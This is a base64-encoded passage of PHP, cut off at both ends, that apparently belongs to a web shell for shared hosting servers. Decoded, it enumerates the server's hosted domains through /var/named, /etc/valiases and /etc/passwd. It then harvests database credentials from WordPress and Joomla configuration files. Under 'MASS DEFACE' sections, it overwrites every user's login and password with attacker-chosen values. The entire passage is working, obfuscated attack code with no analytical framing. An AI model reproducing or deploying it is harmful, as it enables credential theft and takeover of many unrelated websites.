icj48L2NlbnRlcj4gIjsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydkbyddKSl7IA0Kc3dpdGNoICgkX1JFUVVFU1RbJ2RvJ10pew0KDQojIyMjIyMjIyMjIyMjIyMjQ01TIERFVEVDVE9SDQpjYXNlICdjbXNfZGV0ZWN0JzoNCg0KaWYoIWZpbGVfZXhpc3RzKCdwZWUudG1wJykpew0KQGZvcGVuKCdwZWUudG1wJywgJ3cnKTsNCg0KZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7DQplY2hvJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48L2NlbnRlcj48Yj5DTVM8L2I+PC9jZW50ZXI+PC90ZD4nOw0KDQokcCA9IDA7DQoNCmlmKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpew0KJGxpc3QgPSBzY2FuZGlyKCIvdmFyL25hbWVkIik7DQokY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsNCiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOw0KZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsNCmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSkNCnsNCgkkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7DQoJJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KCQ0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokbGluayA9ICRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXTsNCg0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJXb3JkUHJlc3MiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiSm9vbWxhIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sInZCdWxsZXRpbiIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJXSE1DUyIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJQaHBCQiIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJNeUJCIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIklQQiIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJTTUYiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiRHJ1cGFsIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sImUxMDciKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiU2VkaXRpbyIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJvc0NvbW1lcmNlIik7DQoNCn0NCn0NCn0NCn1lbHNlew0KZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7DQplY2hvJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48L2NlbnRlcj48Yj5DTVM8L2I+PC9jZW50ZXI+PC90ZD4nOw0KJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLnRtcCcpOw0KZWNobyAkY29udGVudDsNCn0NCmJyZWFrOw0KDQoNCg0KIyMjIyMjIyMjIyMjIyMjI01BU1MgREVGQUNFDQpjYXNlICdwYXNzX2NoYW5nZSc6DQoNCmVjaG8gPDw8UEVFDQo8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KPGNlbnRlcj4NClVTRVIgOiA8aW5wdXQgc2l6ZT0nMjAnIHZhbHVlPSdkb29tdGlteScgbmFtZT0ndXNlcicgdHlwZT0ndGV4dCc+PGJyPg0KUEFTUyA6IDxpbnB1dCBzaXplPScyMCcgdmFsdWU9J2Foc2NyZXcnIG5hbWU9J3Bhc3MnIHR5cGU9J3RleHQnPg0KPGJyPg0KPGlucHV0IHZhbHVlPSdDaGFuZ2UnIG5hbWU9JycgdHlwZT0nc3VibWl0Jz48YnI+PGJyPg0KPC9mb3JtPg0KDQpQRUU7DQoNCmlmKCRfUE9TVCl7DQojIyMjIyMjIyMjIyMjIyMjIyMjIFVTRVIgJiBQQVNTICMjIyMjIyMjIyMjIyMjIyMNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCg0KaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSkNCnsNCgkNCgllY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCI+JzsNCgllY2hvICc8dHI+PHRkPjxiPlRBUkdFVDwvYj48L3RkPjx0ZD5VU0VSPC90ZD48dGQ+Q01TPC90ZD48dGQ+U1RBVFVTPC9iPjwvdGQ+JzsNCgkkbGlzdCA9IHNjYW5kaXIoIi92YXIvbmFtZWQiKTsNCglmb3JlYWNoKCRsaXN0IGFzICRkb21haW4pew0KCWlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSkNCgl7DQoJCSRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsNCgkJJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KCQkkdXJsID0gJ2h0dHA6Ly8nLiRkb21haW47DQoJCWlmKGNoa19oZWFkZXIoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpKQ0KCQl7IA0KCQkJJGNvbmZpZyA9ICRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnOw0KCQkJDQoJCQlmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQoJCQkjI0dFVCBEQVRBQkFTRSBJTkZPIEZST00gQ09ORklHVVJBVElPTiBGSUxFDQoJCQkkY25mID0gZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpOw0KCQkJJGhvc3RuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7DQoJCQkkdXNlcm5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsNCgkJCSRwYXNzd29yZCA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCInKTsiKTsNCgkJCSRkYm5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfTkFNRScsICciLCInKTsiKTsNCgkJCSRwcmVmaXggPSBGaW5kKCRjbmYsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJDQoJCQkkbGluaz1teXNxbF9jb25uZWN0KCRob3N0bmFtZSwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCgkJCQ0KCQkJaWYgKCRsaW5rKSANCgkJCXsNCgkJCQkkaGFzaCA9IGNyeXB0KCRwYXNzKTsNCgkJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KCQkJCSR0YWIgPSAkcHJlZml4Lid1c2Vycyc7CQkJDQoJCQkJJHF1ZXJ5MiAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfbG9naW5gID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfcGFzc2AgPSckaGFzaCciKTsNCgkJCQkkcmVxID1AbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KCQkJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQoJCQkJJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCgkJCQkNCgkJCQllcnJvcl9yZXBvcnRpbmcoMCk7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IA0KDQpjb2xvcj0iZ3JlZW4iPnN1Y2Nlc3MuLjwvZm9udD48L3RkPic7DQoJCQkJDQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Xb3JkUHJlc3M8L2E+PC90ZD48dGQ+PGZvbnQgY29sb3I9InJlZCI+bXlzcWwgDQoNCmZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQkNCgkJCQ0KCQkNCgkJDQoJCX0NCgkJDQoJCQ0KCQkNCgkJZWxzZWlmKGNoa19oZWFkZXIoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCcpKQ0KCQl7IA0KCQkNCgkJIyNHRVQgREFUQUJBU0UgSU5GTyBGUk9NIENPTkZJR1VSQVRJT04gRklMRQ0KCQkJJGNuZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLUpvb21sYS50eHQnKTsNCgkJCSRjb25maWcgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Kb29tbGEudHh0JzsNCgkJCQ0KCQkJaWYocHJlZ19tYXRjaCgnJShKQ29uZmlnfG1vc0NvbmZpZyklJywkY25mKSl7DQoJCQkNCgkJCSMjIyMjIw0KCQkJaWYocHJlZ19tYXRjaCgnJUpDb25maWclJywgJGNuZikpew0KCQkJJHVzZXJuYW1lPUZpbmQoJGNuZiwiXCR1c2VyID0gJyIsIiciKTsNCgkJCSRwYXNzd29yZD1GaW5kKCRjbmYsIlwkcGFzc3dvcmQgPSAnIiwiJyIpOw0KCQkJJGRibmFtZT1GaW5kKCRjbmYsIlwkZGIgPSAnIiwiJyIpOw0KCQkJJHByZWZpeD1GaW5kKCRjbmYsIlwkZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJDQoJCQkNCgkJCSRsaW5rPW15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQoJCQkNCgkJCWlmICgkbGluaykgDQoJCQl7DQoJCQkJJGhhc2ggPSBtZDUoJHVzZXIpOw0KCQkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoJCQkJJHRhYiA9ICRwcmVmaXguJ3VzZXJzJzsJCQkNCgkJCQkkcXVlcnkyICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcm5hbWVgID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHBhc3N3b3JkYCA9JyRoYXNoJyIpOw0KCQkJCQ0KCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IA0KDQpjb2xvcj0iZ3JlZW4iPnN1Y2Nlc3MuLjwvZm9udD48YnI+JzsNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPm15c3FsIA0KDQpmYWlsPC9mb250PjwvdGQ+JzsNCgkJCX0NCgkJCQ0KCQkJfQ0KCQkJDQoJCQkjIyMjIw0KCQkJZWxzZWlmKHByZWdfbWF0Y2goJyVtb3NDb25maWclJywkY25mKSl7DQoJCQkkdXNlcm5hbWU9RmluZCgkY25mLCJcJG1vc0NvbmZpZ191c2VyID0gJyIsIiciKTsNCgkJCSRwYXNzd29yZD1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX3Bhc3N3b3JkID0gJyIsIiciKTsNCgkJCSRkYm5hbWU9RmluZCgkY25mLCJcJG1vc0NvbmZpZ19kYiA9ICciLCInIik7DQoJCQkkcHJlZml4PUZpbmQoJGNuZiwiXCRtb3NDb25maWdfZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJJHB3ZCA9IG1kNSgkbnBhc3MpOw0KCQkJDQoJCQkkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpOw0KCQkJDQoJCQlpZiAoJGxpbmspIA0KCQkJew0KCQkJCSRoYXNoID0gbWQ1KCRwYXNzKTsNCgkJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KCQkJCSR0YWIgPSAkcHJlZml4Lid1c2Vycyc7CQkJDQoJCQkJJHF1ZXJ5MiAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJuYW1lYCA9JyR1c2VyJyIpOw0KIAkJCQkkcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSckaGFzaCciKTsNCgkJCQkNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgDQoNCmNvbG9yPSJncmVlbiI+c3VjY2Vzcy4uPC9mb250Pjxicj4nOw0KDQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgY29sb3I9InJlZCI+bXlzcWwgDQoNCmZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQkJDQoJCQl9DQoJCQkNCgkJCQ0KCQkJfQ0KCQkJIyMjIyMjIyMjDQoJCQkNCgkJCQ0KCQl9DQoJfQ0KfQ0KfQ0KDQplbHNlaWYoaXNfcmVhZGFibGUoIi9ldGMvcGFzc3dkIikpew0KDQplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCI+JzsNCmVjaG8gJzx0cj48dGQ+PGI+RE9NQUlOPC9iPjwvdGQ+PHRkPlVTRVI8L3RkPjx0ZD5DTVM8L3RkPjx0ZD5TVEFUVVM8L2I+PC90ZD4nOw0KCQkJDQpmb3JlYWNoKCRldGN6IGFzICRldHopew0KJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsNCg0KDQppZihjaGtfaGVhZGVyKCRwYWdlVVJMLidwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKSkNCgkJeyANCgkJCQ0KCQkJJGNvbmZpZyA9ICRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnOw0KCQkJZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS8nLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOw0KCQkJIyNHRVQgREFUQUJBU0UgSU5GTyBGUk9NIENPTkZJR1VSQVRJT04gRklMRQ0KCQkJJGNuZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCgkJCSRob3N0bmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9IT1NUJywgJyIsIicpOyIpOw0KCQkJJHVzZXJuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQoJCQkkcGFzc3dvcmQgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQoJCQkkZGJuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQoJCQkkcHJlZml4ID0gRmluZCgkY25mLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCgkJCQ0KCQkJJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdG5hbWUsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQoJCQkNCgkJCWlmICgkbGluaykgDQoJCQl7DQoJCQkJDQoJCQkJJGhhc2ggPSBjcnlwdCgkdXNlcik7DQoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCgkJCQkkcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2hvbWUnIik7DQoJCQkJJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCgkJCQkkc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KCQkJCSR0YWIgPSAkcHJlZml4Lid1c2Vycyc7CQkJDQoJCQkJJHF1ZXJ5MiAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfbG9naW5gID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfcGFzc2AgPSckaGFzaCciKTsNCgkJCQkNCgkJCQllcnJvcl9yZXBvcnRpbmcoMCk7DQoJCQkJDQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IA0KDQpjb2xvcj0iZ3JlZW4iPnN1Y2Nlc3MuLjwvZm9udD48YnI+JzsNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPm15c3FsIA0KDQpmYWlsPC9mb250PjwvdGQ+JzsNCgkJCX0NCgkJDQoJCQkNCgkJDQoJCQ0KCQl9DQoJCQ0KCQkNCgkJDQoJCWVsc2VpZihjaGtfaGVhZGVyKCRwYWdlVVJMLidwZWUvJy4kZXRjY1swXS4nLUpvb21sYS50eHQnKSkNCgkJeyANCgkJDQoJCSMjR0VUIERBVEFCQVNFIElORk8gRlJPTSBDT05GSUdVUkFUSU9OIEZJTEUNCgkJCSRjbmYgPSBmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7DQoJCQkkY29uZmlnID0gJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCc7DQoJCQkNCgkJCWlmKHByZWdfbWF0Y2goJyUoSkNvbmZpZ3xtb3NDb25maWcpJScsJGNuZikpew0KCQkJDQoJCQkjIyMjIyMNCgkJCWlmKHByZWdfbWF0Y2goJyVKQ29uZmlnJScsICRjbmYpKXsNCgkJCSR1c2VybmFtZT1GaW5kKCRjbmYsIlwkdXNlciA9ICciLCInIik7DQoJCQkkcGFzc3dvcmQ9RmluZCgkY25mLCJcJHBhc3N3b3JkID0gJyIsIiciKTsNCgkJCSRkYm5hbWU9RmluZCgkY25mLCJcJGRiID0gJyIsIiciKTsNCgkJCSRwcmVmaXg9RmluZCgkY25mLCJcJGRicHJlZml4ID0gJyIsIiciKTsNCgkJCSRzaXRlX3VybCA9IEZpbmQoJGNuZiwiXCRtYWlsZnJvbSA9ICciLCInIik7DQoJCQkkc2l0ZV91cmwgPSBleHBsb2RlKCJAIiwkc2l0ZV91cmwpOw0KCQkJDQoJCQkNCgkJCQ0KCQkJJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCgkJCQ0KCQkJaWYgKCRsaW5rKSANCgkJCXsNCgkJCQkkaGFzaCA9IG1kNSgkcGFzcyk7DQoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCgkJCQkkdGFiID0gJHByZWZpeC4ndXNlcnMnOwkJCQ0KCQkJCSRxdWVyeTIgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VybmFtZWAgPSckdXNlciciKTsNCiAJCQkJJHF1ZXJ5MyAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgcGFzc3dvcmRgID0nJGhhc2gnIik7DQoJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgDQoNCmNvbG9yPSJncmVlbiI+c3VjY2Vzcy4uPC9mb250Pjxicj4nOw0KDQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgY29sb3I9InJlZCI+bXlzcWwgDQoNCmZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQkJDQoJCQl9DQoJCQkNCgkJCSMjIyMjDQoJCQllbHNlaWYocHJlZ19tYXRjaCgnJW1vc0NvbmZpZyUnLCRjbmYpKXsNCgkJCSR1c2VybmFtZT1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX3VzZXIgPSAnIiwiJyIpOw0KCQkJJHBhc3N3b3JkPUZpbmQoJGNuZiwiXCRtb3NDb25maWdfcGFzc3dvcmQgPSAnIiwiJyIpOw0KCQkJJGRibmFtZT1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX2RiID0gJyIsIiciKTsNCgkJCSRwcmVmaXg9RmluZCgkY25mLCJcJG1vc0NvbmZpZ19kYnByZWZpeCA9ICciLCInIik7DQoJCQkkc2l0ZV91cmwgPSBGaW5kKCRjbmYsIlwkbWFpbGZyb20gPSAnIiwiJyIpOw0KCQkJJHNpdGVfdXJsID0gZXhwbG9kZSgiQCIsJHNpdGVfdXJsKTsNCgkJCQ0KCQkJJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCgkJCQ0KCQkJaWYgKCRsaW5rKSANCgkJCXsNCgkJCQkkaGFzaCA9IG1kNSgkcGFzcyk7DQoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCgkJCQkkdGFiID0gJHByZWZpeC4ndXNlcnMnOwkJCQ0KCQkJCSRxdWVyeTIgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VybmFtZWAgPSckdXNlciciKTsNCiAJCQkJJHF1ZXJ5MyAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgcGFzc3dvcmRgID0nJGhhc2gnIik7DQoJCQkJDQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IA0KDQpjb2xvcj0iZ3JlZW4iPnN1Y2Nlc3MuLjwvZm9udD48YnI+JzsNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPm15c3FsIA0KDQpmYWlsPC9mb250PjwvdGQ+JzsNCgkJCX0NCgkJCQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCX0NCgkJCSMjIyMjIyMjIw0KCQkJDQoJCQkNCgkJfQ0KCX0NCn0NCn0NCg0KDQpicmVhazsNCg0KDQoNCg0KDQoNCg0KDQoNCg0KIyMjIyMjIyMjIyMjIyMjI01BU1MgREVGQUNFDQpjYXNlICd3cF9kZWYnOg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMgVVNFUiAmIFBBU1MgIyMjIyMjIyMjIyMjIyMjIw0KJHVzZXIgPSAnYmFydXQnOw0KJHBhc3MgPSAnYmFydXQnOw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmVjaG8gPDw8UEVFDQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoNCjxsYWJlbD5JbmRleCBVUkw6IDwvbGFiZWw+IDxpbnB